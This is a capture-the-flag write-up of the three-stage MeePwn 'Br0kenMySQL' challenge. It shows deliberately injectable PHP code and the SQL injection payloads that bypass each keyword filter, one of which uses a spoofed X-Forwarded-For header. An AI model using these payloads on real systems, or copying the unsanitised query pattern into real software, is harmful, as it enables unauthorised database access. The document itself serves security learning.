This was a 3 stage SQLi challenge we solved during the MeePwn CTF. Shout out to Sceptic who solved the first stage and told me to look at the next one.

Br0kenMySQL

100 pts

BabeTrick


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php

if($_GET['debug']=='🕵') die(highlight_file(__FILE__));

require 'config.php';

$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);

if (!$link) {
    die('Could not connect: ' . mysql_error());
}

if (!mysqli_select_db($link,MYSQL_USER)) {
    die('Could not select database: ' . mysql_error());
}
    $id = $_GET['id'];
    if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
        die('Don\'t hurt me :-(');
    $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
    $row = mysqli_fetch_array($query);
    $username = $row['username'];

    if($username === 'guest'){

        $ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
        if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
            die('Don\'t hurt me :-(');
        var_dump($ip);
        if(!empty($ip))
            mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");

        $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
        $row = mysqli_fetch_array($query);
        $username = $row['username'];
        if($username === 'admin'){
            echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
            die(FLAG);
        }
        echo "Nothing here";
    } else {
        echo "Hello ".$username;
    }
?>

As you can see we want the first query to return guest and the second query to return admin. Admin id was 1 and guest was 2 and between the queries there was another injection in an insert query. For all injection we had to bypass the following filter:

1
if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))

Sceptic solved this by injecting -1 union all SELECT IF("wii" = (select ip from logs where ip="wii"),"admin", "guest") and setting the X-Forwarded-For header to “wii”. By doing so he first selected guest, then inserted the “wii” ip so the second query would return admin.

1
2
3
4
What ???????
Login as guest&admin at the same time ?
Seems our code is broken, here is your bounty
MeePwnCTF{_b4by_tr1ck_fixed}

Br0kenMySQL v2

Ok, seems I got the root cause break my things.

Try it again… I fixed it a little bit


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php

if($_GET['debug']=='🕵') die(highlight_file(__FILE__));

require '../config.php';

$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);

if (!$link) {
    die('Could not connect: ' . mysql_error());
}

if (!mysqli_select_db($link,MYSQL_USER)) {
    die('Could not select database: ' . mysql_error());
}
    $id = $_GET['id'];
    if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$id))
        die('Don\'t hurt me :-(');
    $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
    $row = mysqli_fetch_array($query);
    $username = $row['username'];

    if($username === 'guest'){

        $ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
        if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$ip))
            die('Don\'t hurt me :-(');
        var_dump($ip);
        if(!empty($ip))
            mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");

        $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
        $row = mysqli_fetch_array($query);
        $username = $row['username'];
        if($username === 'admin'){
            echo "What, again ???????!@#$!@#$!@#$\n";
            die(FLAG_2);
        }
        echo "Nothing here";
    } else {
        echo "Hello ".$username;
    }




?>
</h1>
</pre>

This is where i started looking at the challenge. V2 is basically the same but the filter changed a bit:

1
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$id))

I’ve done some similar challenges before so i had a good idea what to do. I injected @@timestamp *1000000 %3 that would return 0,1,2 depending on the current time. Now i just refreshed the site until I got lucky and the time changed between the first and the second query. Notice that injecting in the X-Forwarded-For header is not needed here.

1
2
3
What, again ???????!@#$!@#$!@#$
MeePwnCTF{_I_g1ve__uPPPPPPPP}
http://139.59.239.133/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?debug=%F0%9F%95%B5

Br0kenMySQL v3

We don’t keep our words, but looks like someone wanna play more. So this is the last one challenge, for real. To get a link challenge of this version 3, you need to solve v2 again, then it will print the link out. Thank you. Happy hacking!


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php

if($_GET['debug']=='🕵') die(highlight_file(__FILE__));

require '../config.php';

$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);

if (!$link) {
    die('Could not connect: ' . mysql_error());
}

if (!mysqli_select_db($link,MYSQL_USER)) {
    die('Could not select database: ' . mysql_error());
}
    $id = $_GET['id'];
    if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))
        die('Don\'t hurt me :-(');
    $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
    $row = mysqli_fetch_array($query);
    $username = $row['username'];
    
    if($username === 'guest'){
        sleep(5); // wait
        $ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
        if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$ip))
            die('Don\'t hurt me :-(');
        var_dump($ip);
        if(!empty($ip))
            mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");

        $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
        $row = mysqli_fetch_array($query);
        $username = $row['username'];
        if($username === 'admin'){
            echo "What, again ???????!@#$!@#$!@#$\n";
            echo "Last one, promise!\n";
            die(FLAG_3);
        }
        echo "Nothing here";
    } else {
        echo "Hello ".$username;
    }




?>
</h1>
</pre>

Same thing as before, login as guest and admin and this time bypass the following filter:

1
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$ip))

Again we don’t need the second injection just some creative use of user-defined variables. Final payload was?id=case when @wurst is null then @wurst:=2 else @wurst:=@wurst-1 end

1
/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?id=case+when+@wurst+is+null+then+@wurst:=2+else+@wurst:=@wurst-1+end
1
2
3
What, again ???????!@#$!@#$!@#$
Last one, promise!
MeePwnCTF{_I_g1ve__uPPPPPPPP_see_you_next_Year}

All-together this was nice set of sqli challenges.